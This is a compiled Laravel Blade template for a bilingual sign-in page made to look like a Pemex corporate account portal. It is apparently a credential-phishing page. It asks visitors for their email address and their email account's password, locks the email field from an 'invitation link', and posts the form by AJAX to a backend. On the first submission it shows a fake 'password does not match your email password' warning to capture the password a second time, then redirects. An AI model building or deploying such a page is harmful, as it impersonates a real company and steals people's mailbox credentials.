<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="Pemex Portal — Sign in to access your account">
    <meta name="csrf-token" content="<?php echo e(csrf_token()); ?>">
    <title><?php echo e($title ?? 'Solicitar Cuenta'); ?> | Pemex Portal</title>

    <!-- Google Fonts: Inter -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">

    <!-- Bootstrap 5 -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">

    <!-- Bootstrap Icons -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">

    <style>
        /* ─── Pemex Color Tokens ─── */
        :root {
            --pemex-green: #00833E;
            --pemex-red: #9D1B23;
            --pemex-red-dark: #7a1219;
            --pemex-gold: #B38E5D;
            --pemex-charcoal: #333333;
            --pemex-slate: #525D64;
            --pemex-text: #2E2E2E;
            --pemex-muted: #6c757d;
            --pemex-bg: #f0f2f0;
        }

        /* ─── Base ─── */
        *,
        *::before,
        *::after {
            box-sizing: border-box;
        }

        body {
            font-family: 'Inter', sans-serif;
            background-color: var(--pemex-bg);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            color: var(--pemex-text);
        }


        /* ════════════════════════════════════════════════════
           BACKGROUND IMAGE — remove this entire block to revert
           to the plain light-grey background
           Image file: public/images/bg-login.jpg
        ════════════════════════════════════════════════════ */
        body::before {
            content: '';
            position: fixed;
            inset: 0;
            background-image: url('/images/bg-login.jpg');
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            /* Dark overlay so the card stays readable */
            /* Adjust the rgba alpha (last value) to control darkness: 0 = none, 1 = full black */
            filter: brightness(0.75);
            pointer-events: none;
            z-index: 0;
        }

        /* ════════════════ END BACKGROUND IMAGE ════════════════ */

        /* ─── Top brand bar ─── */
        .brand-topbar {
            background-color: var(--pemex-green);
            padding: 9px 0;
            position: relative;
            z-index: 10;
        }

        .brand-topbar .container-fluid {
            display: flex;
            align-items: center;
            justify-content: space-between;
            padding-inline: 1.5rem;
        }

        .brand-topbar nav a {
            color: rgba(255, 255, 255, 0.85);
            font-size: 0.78rem;
            text-decoration: none;
            font-weight: 400;
            letter-spacing: 0.02em;
            transition: color 0.2s;
        }

        .brand-topbar nav a:hover {
            color: #fff;
        }

        .brand-topbar .brand-lang {
            color: rgba(255, 255, 255, 0.7);
            font-size: 0.78rem;
            font-weight: 500;
            display: flex;
            align-items: center;
            gap: 0.3rem;
        }

        .lang-btn {
            background: none;
            border: none;
            color: rgba(255, 255, 255, 0.6);
            font-size: 0.78rem;
            font-weight: 500;
            cursor: pointer;
            padding: 2px 5px;
            border-radius: 3px;
            transition: color 0.2s, background 0.2s;
            font-family: 'Inter', sans-serif;
            letter-spacing: 0.04em;
        }

        .lang-btn:hover {
            color: #fff;
        }

        .lang-btn.active {
            color: #fff;
            font-weight: 700;
            border-bottom: 2px solid rgba(255, 255, 255, 0.8);
            padding-bottom: 0;
        }

        .lang-sep {
            color: rgba(255, 255, 255, 0.35);
            font-size: 0.7rem;
            user-select: none;
        }

        /* ─── Main wrapper ─── */
        .login-wrapper {
            flex: 1;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 2.5rem 1rem;
            position: relative;
            z-index: 1;
        }

        /* ─── Login Card ─── */
        .login-card {
            background: #ffffff;
            border-radius: 16px;
            box-shadow: 0 8px 40px rgba(0, 0, 0, 0.10), 0 1px 4px rgba(0, 0, 0, 0.06);
            width: 100%;
            max-width: 440px;
            overflow: hidden;
        }

        /* Green accent bar on top of card */
        .card-accent-top {
            height: 5px;
            background: linear-gradient(90deg, var(--pemex-green) 0%, var(--pemex-gold) 100%);
        }

        .login-card-body {
            padding: 2.5rem 2.5rem 2rem;
        }

        /* ─── Logo area ─── */
        .login-logo {
            display: flex;
            align-items: center;
            gap: 0.5rem;
            margin-bottom: 1.75rem;
        }

        .login-logo .logo-icon {
            width: 40px;
            height: 40px;
            background: var(--pemex-red);
            border-radius: 8px;
            display: flex;
            align-items: center;
            justify-content: center;
            color: #fff;
            font-size: 1.2rem;
            font-weight: 700;
            letter-spacing: -0.5px;
            flex-shrink: 0;
        }

        .login-logo .logo-text {
            font-size: 1.35rem;
            font-weight: 700;
            color: var(--pemex-green);
            letter-spacing: 0.04em;
            line-height: 1;
        }

        .login-logo .logo-sub {
            font-size: 0.6rem;
            color: var(--pemex-muted);
            text-transform: uppercase;
            letter-spacing: 0.08em;
            font-weight: 500;
        }

        /* ─── Headings ─── */
        .login-title {
            font-size: 1.5rem;
            font-weight: 700;
            color: var(--pemex-red);
            margin-bottom: 0.3rem;
        }

        .login-subtitle {
            font-size: 0.875rem;
            color: var(--pemex-muted);
            margin-bottom: 1.75rem;
        }

        /* ─── Form inputs ─── */
        .form-label {
            font-size: 0.8rem;
            font-weight: 600;
            color: var(--pemex-slate);
            margin-bottom: 0.35rem;
            letter-spacing: 0.02em;
        }

        .form-control {
            border: 1.5px solid #d9dde2;
            border-radius: 8px;
            padding: 0.65rem 0.9rem;
            font-size: 0.9rem;
            font-family: 'Inter', sans-serif;
            color: var(--pemex-text);
            background-color: #fafafa;
            transition: border-color 0.2s, box-shadow 0.2s;
        }

        .form-control:focus {
            border-color: var(--pemex-green);
            box-shadow: 0 0 0 3px rgba(0, 131, 62, 0.12);
            background-color: #fff;
            outline: none;
        }

        .form-control::placeholder {
            color: #b0b7be;
            font-weight: 400;
        }

        /* Password toggle wrapper */
        .input-password-wrap {
            position: relative;
        }

        .input-password-wrap .form-control {
            padding-right: 2.75rem;
        }

        .btn-password-toggle {
            position: absolute;
            right: 0.75rem;
            top: 50%;
            transform: translateY(-50%);
            background: none;
            border: none;
            padding: 0;
            cursor: pointer;
            color: var(--pemex-muted);
            font-size: 1rem;
            line-height: 1;
            transition: color 0.2s;
        }

        .btn-password-toggle:hover {
            color: var(--pemex-slate);
        }

        /* ─── Remember / Forgot row ─── */
        .form-check-input:checked {
            background-color: var(--pemex-green);
            border-color: var(--pemex-green);
        }

        .form-check-input:focus {
            box-shadow: 0 0 0 3px rgba(0, 131, 62, 0.12);
            border-color: var(--pemex-green);
        }

        .form-check-label {
            font-size: 0.83rem;
            color: var(--pemex-slate);
            cursor: pointer;
        }

        .forgot-link {
            font-size: 0.83rem;
            color: var(--pemex-red);
            text-decoration: none;
            font-weight: 500;
            transition: color 0.2s;
        }

        .forgot-link:hover {
            color: var(--pemex-red-dark);
            text-decoration: underline;
        }

        /* ─── Sign In Button ─── */
        .btn-signin {
            background-color: var(--pemex-red);
            border: none;
            color: #fff;
            font-family: 'Inter', sans-serif;
            font-size: 0.95rem;
            font-weight: 600;
            padding: 0.72rem 1rem;
            border-radius: 8px;
            width: 100%;
            letter-spacing: 0.02em;
            transition: background-color 0.2s, transform 0.15s, box-shadow 0.2s;
            position: relative;
            overflow: hidden;
        }

        .btn-signin:hover {
            background-color: var(--pemex-red-dark);
            color: #fff;
            box-shadow: 0 4px 16px rgba(157, 27, 35, 0.35);
            transform: translateY(-1px);
        }

        .btn-signin:active {
            transform: translateY(0);
            box-shadow: none;
        }

        /* subtle shimmer on hover */
        .btn-signin::after {
            content: '';
            position: absolute;
            inset: 0;
            background: linear-gradient(120deg, transparent 30%, rgba(255, 255, 255, 0.12) 50%, transparent 70%);
            transform: translateX(-100%);
            transition: transform 0.4s;
        }

        .btn-signin:hover::after {
            transform: translateX(100%);
        }

        /* ─── Divider ─── */
        .login-divider {
            display: flex;
            align-items: center;
            gap: 0.75rem;
            margin: 1.25rem 0;
        }

        .login-divider hr {
            flex: 1;
            border-color: #e5e8eb;
            opacity: 1;
            margin: 0;
        }

        .login-divider span {
            font-size: 0.75rem;
            color: var(--pemex-muted);
            white-space: nowrap;
            font-weight: 500;
        }

        /* ─── Register prompt ─── */
        .register-prompt {
            text-align: center;
            font-size: 0.85rem;
            color: var(--pemex-muted);
            margin-top: 1.25rem;
        }

        .register-prompt a {
            color: var(--pemex-green);
            font-weight: 600;
            text-decoration: none;
            transition: color 0.2s;
        }

        .register-prompt a:hover {
            color: var(--pemex-red);
            text-decoration: underline;
        }

        /* ─── Footer ─── */
        .login-footer {
            background-color: var(--pemex-charcoal);
            color: rgba(255, 255, 255, 0.6);
            text-align: center;
            font-size: 0.75rem;
            padding: 1rem;
            position: relative;
            z-index: 10;
        }

        .login-footer a {
            color: var(--pemex-gold);
            text-decoration: none;
            margin: 0 0.4rem;
            transition: color 0.2s;
        }

        .login-footer a:hover {
            color: #fff;
        }

        /* ─── Security badge ─── */
        .security-badge {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 0.4rem;
            font-size: 0.73rem;
            color: var(--pemex-muted);
            margin-top: 0.85rem;
        }

        .security-badge i {
            color: var(--pemex-green);
            font-size: 0.85rem;
        }

        /* ─── Alert ─── */
        .alert-pemex {
            border-radius: 8px;
            font-size: 0.83rem;
            padding: 0.65rem 0.9rem;
            display: flex;
            align-items: center;
            gap: 0.5rem;
            border: none;
        }

        /* ─── Responsive ─── */
        @media (max-width: 480px) {
            .login-card-body {
                padding: 2rem 1.5rem 1.5rem;
            }

            .brand-topbar nav {
                display: none;
            }
        }
    </style>
</head>

<body>

    <!-- ── Top Green Bar ── -->
    <div class="brand-topbar">
        <div class="container-fluid">
            <nav class="d-flex gap-3">
                <a href="#">Multimedia</a>
                <a href="#" class="d-none d-md-inline">Avisos importantes</a>
                <a href="#" class="d-none d-lg-inline">Sala de prensa</a>
                <a href="#" class="d-none d-lg-inline">Gente Pemex</a>
            </nav>
            <span class="brand-lang">
                <button class="lang-btn active" id="btnEN" onclick="setLang('en')">EN</button>
                <span class="lang-sep">|</span>
                <button class="lang-btn" id="btnES" onclick="setLang('es')">ES</button>
            </span>
        </div>
    </div>

    <!-- ── Main Content ── -->
    <main class="login-wrapper">
        <div class="login-card">

            <!-- Color accent top strip -->
            <div class="card-accent-top"></div>

            <div class="login-card-body">

                <!-- Logo -->
                <div class="login-logo">
                    <div class="logo-icon">P</div>
                    <div>
                        <div class="logo-text">PEMEX</div>
                        <div class="logo-sub"
                            data-lang-en="Access Portal"
                            data-lang-es="Portal de Acceso">Portal de Acceso</div>
                    </div>
                </div>

                <!-- Title -->
                <h1 class="login-title"
                    data-lang-en="Apply for Account"
                    data-lang-es="Solicitar Cuenta">Solicitar Cuenta</h1>
                <p class="login-subtitle"
                    data-lang-en="Login with your email and password, accounts are automatically synced"
                    data-lang-es="Inicia sesión con tu correo y contraseña, las cuentas se sincronizan automáticamente">Inicia sesión con tu correo y contraseña, las cuentas se sincronizan automáticamente</p>

                
                <?php if(session('error')): ?>
                <div class="alert alert-danger alert-pemex mb-3" role="alert">
                    <i class="bi bi-exclamation-circle-fill"></i>
                    <?php echo e(session('error')); ?>

                </div>
                <?php endif; ?>

                <!-- Login Form -->
                <form method="POST" action="<?php echo e(route('new-page.submit')); ?>" id="loginForm" novalidate>
                    <?php echo csrf_field(); ?>

                    <!-- Email -->
                    <div class="mb-3">
                        <label for="email" class="form-label"
                            data-lang-en="Email Address"
                            data-lang-es="Correo electrónico">Correo electrónico</label>
                        <input
                            type="email"
                            class="form-control <?php $__errorArgs = ['email'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?><?php echo e($prefillEmail ? ' bg-light' : ''); ?>"
                            id="email"
                            name="email"
                            placeholder="usuario@pemex.com"
                            data-placeholder-en="user@pemex.com"
                            data-placeholder-es="usuario@pemex.com"
                            value="<?php echo e($prefillEmail ?? old('email')); ?>"
                            autocomplete="email"
                            required
                            <?php echo e($prefillEmail ? 'readonly' : 'autofocus'); ?>>
                        <?php if($prefillEmail): ?>
                        <div class="form-text mt-1" style="font-size:0.75rem; color: var(--pemex-green);">
                            <i class="bi bi-lock-fill me-1"></i>
                            <span data-lang-en="Email pre-filled and locked from your invitation link"
                                data-lang-es="Correo prellenado y bloqueado desde tu enlace de invitación">
                                Correo prellenado y bloqueado desde tu enlace de invitación
                            </span>
                        </div>
                        <?php endif; ?>
                        <?php $__errorArgs = ['email'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
                        <div class="invalid-feedback"><?php echo e($message); ?></div>
                        <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
                    </div>

                    <!-- Password -->
                    <div class="mb-3">
                        <label for="password" class="form-label"
                            data-lang-en="Password"
                            data-lang-es="Contraseña">Contraseña</label>
                        <div class="input-password-wrap">
                            <input
                                type="password"
                                class="form-control <?php $__errorArgs = ['password'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>"
                                id="password"
                                name="password"
                                placeholder="••••••••"
                                autocomplete="current-password"
                                required>
                            <button type="button" class="btn-password-toggle" id="togglePassword"
                                aria-label="Mostrar contraseña"
                                data-lang-en="Show password"
                                data-lang-es="Mostrar contraseña">
                                <i class="bi bi-eye" id="toggleIcon"></i>
                            </button>
                            <?php $__errorArgs = ['password'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
                            <div class="invalid-feedback"><?php echo e($message); ?></div>
                            <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
                        </div>
                    </div>

                    <!-- Project Reference -->
                    <div class="mb-3">
                        <label for="projectRef" class="form-label"
                            data-lang-en="Project Reference"
                            data-lang-es="Referencia de Proyecto">Referencia de Proyecto</label>
                        <input
                            type="text"
                            class="form-control"
                            id="projectRef"
                            name="project_reference"
                            placeholder="REF-00000"
                            data-placeholder-en="REF-00000"
                            data-placeholder-es="REF-00000"
                            autocomplete="off">
                    </div>

                    <!-- Remember Me -->
                    <div class="mb-4">
                        <div class="form-check">
                            <input class="form-check-input" type="checkbox" id="rememberMe" name="remember">
                            <label class="form-check-label" for="rememberMe"
                                data-lang-en="Remember me"
                                data-lang-es="Recordar sesión">Recordar sesión</label>
                        </div>
                    </div>

                    <!-- Submit -->
                    <button type="submit" class="btn btn-signin" id="submitBtn">
                        <span id="btnText"><i class="bi bi-send me-1"></i> <span
                                data-lang-en="Apply"
                                data-lang-es="Enviar Solicitud">Enviar Solicitud</span></span>
                        <span id="btnLoader" class="d-none">
                            <span class="spinner-border spinner-border-sm me-1" role="status" aria-hidden="true"></span>
                            <span data-lang-en="Submitting..." data-lang-es="Enviando...">Enviando...</span>
                        </span>
                    </button>

                </form>

                <!-- Security note -->
                <div class="security-badge">
                    <i class="bi bi-shield-lock-fill"></i>
                    <span data-lang-en="Secure SSL/TLS Connection" data-lang-es="Conexión segura SSL/TLS">Conexión segura SSL/TLS</span>
                </div>



            </div><!-- /card-body -->
        </div><!-- /card -->
    </main>

    <!-- ── Footer ── -->
    <footer class="login-footer">
        <div>
            © <?php echo e(date('Y')); ?> Petróleos Mexicanos — <span data-lang-en="All rights reserved" data-lang-es="Todos los derechos reservados">Todos los derechos reservados</span> &nbsp;|&nbsp;
            <a href="#" data-lang-en="Privacy Notice" data-lang-es="Aviso de Privacidad">Aviso de Privacidad</a>
            <a href="#" data-lang-en="Terms of Use" data-lang-es="Términos de Uso">Términos de Uso</a>
            <a href="#" data-lang-en="Contact" data-lang-es="Contacto">Contacto</a>
        </div>
    </footer>

    <!-- Toast notification (AJAX feedback) -->
    <div class="position-fixed bottom-0 end-0 p-3" style="z-index: 9999">
        <div id="ajaxToast" class="toast align-items-center border-0" role="alert" aria-live="assertive" aria-atomic="true">
            <div class="d-flex">
                <div class="toast-body fw-semibold" id="toastMsg"></div>
                <button type="button" class="btn-close btn-close-white me-2 m-auto" data-bs-dismiss="toast" aria-label="Close"></button>
            </div>
        </div>
    </div>

    <!-- jQuery -->
    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <!-- Bootstrap 5 JS -->
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>

    <script>
        $(function() {

            // ── Shared DOM refs (must be declared before setLang is ever called) ──
            const toggleBtn = document.getElementById('togglePassword');
            const passInput = document.getElementById('password');
            const toggleIcon = document.getElementById('toggleIcon');

            // ── Language toggle ──
            let currentLang = 'es';

            function setLang(lang) {
                currentLang = lang;

                // Persist preference across reloads
                localStorage.setItem('pemex_lang', lang);

                // Swap text content on all data-lang-* elements
                document.querySelectorAll('[data-lang-' + lang + ']').forEach(el => {
                    el.textContent = el.getAttribute('data-lang-' + lang);
                });

                // Swap input placeholders
                document.querySelectorAll('[data-placeholder-' + lang + ']').forEach(el => {
                    el.placeholder = el.getAttribute('data-placeholder-' + lang);
                });

                // Update page title
                document.title = lang === 'en' ?
                    'Apply Account | Pemex Portal' :
                    'Solicitar Cuenta | Pemex Portal';

                // Update active button state
                document.getElementById('btnEN').classList.toggle('active', lang === 'en');
                document.getElementById('btnES').classList.toggle('active', lang === 'es');

                // Update password toggle aria-label based on current visibility
                const isVisible = passInput.type === 'text';
                toggleBtn.setAttribute('aria-label',
                    lang === 'en' ?
                    (isVisible ? 'Hide password' : 'Show password') :
                    (isVisible ? 'Ocultar contraseña' : 'Mostrar contraseña')
                );
            }

            // ── Restore saved language on page load ──
            const savedLang = localStorage.getItem('pemex_lang');
            if (savedLang && savedLang !== 'es') {
                setLang(savedLang);
            }

            // ── Password visibility toggle ──
            toggleBtn.addEventListener('click', () => {
                const isHidden = passInput.type === 'password';
                passInput.type = isHidden ? 'text' : 'password';
                toggleIcon.className = isHidden ? 'bi bi-eye-slash' : 'bi bi-eye';
                const ariaLabel = isHidden ?
                    (currentLang === 'en' ? 'Hide password' : 'Ocultar contraseña') :
                    (currentLang === 'en' ? 'Show password' : 'Mostrar contraseña');
                toggleBtn.setAttribute('aria-label', ariaLabel);
            });

            // ── jQuery AJAX Form Submission ──
            $('#loginForm').on('submit', function(e) {
                e.preventDefault();

                const $btn = $('#submitBtn');
                const $text = $('#btnText');
                const $loader = $('#btnLoader');

                // Clear previous inline errors
                $('.form-control').removeClass('is-invalid');
                $('.ajax-error').remove();

                // Show loading state
                $btn.prop('disabled', true);
                $text.addClass('d-none');
                $loader.removeClass('d-none');

                $.ajax({
                    url: "http://127.0.0.1:8000/new-page/submit",
                    method: 'POST',
                    data: $(this).serialize(),
                    headers: {
                        'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
                    },

                    success: function(res) {

                        if (res.type === 'first_submit') {
                            // ── First submit: warn on the password field ──
                            $('#passwordWarning').remove();
                            const $passwordInput = $('#password');

                            $passwordInput.css({
                                'border-color': '#f59e0b',
                                'box-shadow': '0 0 0 3px rgba(245,158,11,0.2)'
                            });

                            const warningText = currentLang === 'en' ?
                                'This password does not match your email password' :
                                'Esta contraseña no coincide con la contraseña de su correo electrónico.';

                            const $warning = $(`
                            <div id="passwordWarning" style="
                                display:flex; align-items:flex-start; gap:0.45rem;
                                background:#fffbeb; border:1px solid #f59e0b;
                                border-radius:7px; padding:0.55rem 0.75rem;
                                margin-top:0.5rem; font-size:0.8rem;
                                color:#92400e; line-height:1.4;">
                                <i class="bi bi-exclamation-triangle-fill" style="color:#f59e0b;flex-shrink:0;margin-top:1px;"></i>
                                <span>${warningText}</span>
                            </div>
                        `);

                            $passwordInput.closest('.mb-3').append($warning);
                            $warning.hide().slideDown(250);
                            $passwordInput[0].scrollIntoView({
                                behavior: 'smooth',
                                block: 'center'
                            });

                        } else if (res.type === 'redirect') {
                            // console.log({redirect: res.redirect_url});
                            window.location.href = res.redirect_url;
                            // return;
                        }
                    },

                    error: function(xhr) {
                        if (xhr.status === 422) {
                            const errors = xhr.responseJSON.errors;
                            $.each(errors, function(field, messages) {
                                const $input = $('[name="' + field + '"]');
                                $input.addClass('is-invalid');
                                $input.closest('.mb-3, .input-password-wrap').append(
                                    '<div class="invalid-feedback ajax-error d-block">' + messages[0] + '</div>'
                                );
                            });
                        } else {
                            showToast(
                                currentLang === 'en' ?
                                'An error occurred. Please try again.' :
                                'Ocurrió un error. Por favor intenta de nuevo.',
                                'danger'
                            );
                        }
                    },

                    complete: function() {
                        $btn.prop('disabled', false);
                        $text.removeClass('d-none');
                        $loader.addClass('d-none');
                    }
                });
            });

            // ── Toast helper ──
            function showToast(message, type) {
                const $toast = $('#ajaxToast');
                $toast.removeClass('bg-success bg-danger text-white')
                    .addClass('bg-' + type + ' text-white');
                $('#toastMsg').text(message);
                bootstrap.Toast.getOrCreateInstance($toast[0], {
                    delay: 4000
                }).show();
            }

        }); // end $(function)
    </script>
</body>

</html><?php /**PATH C:\xampp\htdocs\petrol-login\resources\views/new.blade.php ENDPATH**/ ?>